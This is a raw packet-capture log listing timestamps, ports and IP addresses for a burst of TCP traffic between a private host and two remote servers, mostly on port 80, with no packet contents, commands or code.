Sep 1, 2024 05:09:24.619764090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619781017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619792938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.619816065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.619913101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619921923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619930983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619939089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619950056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619956017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.619959116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619968891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.619973898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.619985104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620004892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620029926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620039940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620124102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620132923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620141983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620150089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620151043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620160103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620167971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620181084 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620191097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620287895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620296955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620311022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620321035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620332003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620347023 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620373011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620434999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620444059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620451927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620460987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620472908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620477915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620491028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620491028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620501041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620511055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620520115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620520115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620531082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620537043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620538950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620548010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620557070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620568037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620587111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620587111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620608091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620668888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620708942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620743990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620821953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620831966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620841026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620848894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620862961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620865107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620872974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620882034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620892048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620892048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620898962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620908976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620920897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620940924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.620946884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.620996952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621035099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621045113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621062994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621072054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621085882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621095896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621103048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621156931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621165991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621175051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621201038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621222019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621236086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621263027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621273041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621273041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621298075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621356010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621366024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621375084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621402025 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621409893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621442080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621453047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621463060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621470928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621476889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621483088 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621505976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621565104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621575117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621583939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621613979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.621623993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.621659040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.622139931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622149944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622159958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622195959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.622210979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.622241020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622251034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622260094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622267962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622278929 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.622302055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.622328043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622338057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.622371912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682235003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682249069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682259083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682276011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682286024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682292938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682296038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682306051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682328939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682341099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682492018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682512999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682519913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682531118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682555914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682557106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682571888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.682589054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.682610989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683365107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683418989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683428049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683464050 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683484077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683497906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683507919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683517933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683532953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683545113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683547974 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683554888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683563948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683568954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683579922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683603048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683621883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683660984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683696985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683706999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683725119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683741093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683754921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683779001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683789968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683810949 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683820009 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683878899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683887959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683897018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683907032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683916092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683923960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683945894 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683954954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683959961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683964014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.683988094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.683995962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.684029102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684036970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684063911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.684082985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684091091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.684120893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.684137106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684149027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684158087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.684176922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.684201956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.703824043 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.703912973 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.706130028 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.706135988 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.706334114 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.706641912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706651926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706661940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706670046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706680059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706690073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706695080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.706726074 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.706799984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706809998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706820011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706831932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706840992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706847906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.706866026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.706882954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.706969023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706979036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706984997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.706991911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707042933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707042933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707199097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707209110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707217932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707248926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707253933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707257986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707264900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707273960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707283020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707292080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707314968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707436085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707448006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707456112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707467079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707475901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707506895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707606077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707616091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707624912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707633972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707643032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707653046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707664967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707696915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707741022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707751036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707760096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707786083 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707796097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707885981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707895994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707907915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.707927942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.707948923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708029985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708039999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708076000 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708189964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708199978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708206892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708215952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708230019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708250046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708375931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708389044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708398104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708410025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708420038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708420038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708429098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708436966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708462000 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708548069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708556890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708565950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708575964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708584070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708595991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708620071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708719015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708728075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708738089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708746910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708755970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708760977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708764076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708772898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708796024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708813906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.708865881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708878040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.708909035 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709021091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709031105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709039927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709048033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709057093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709064960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709090948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709162951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709172964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709207058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709328890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709337950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709348917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709358931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709367990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709367990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709393978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709403038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.709990978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.709999084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710004091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710010052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710016966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710052013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710078955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710139036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710148096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710158110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710165977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710175037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710180998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710184097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710202932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710225105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710295916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710305929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710314035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710323095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710333109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710346937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.710347891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.710355043 CEST	49742	80	192.168.2.4	185.215.113.100
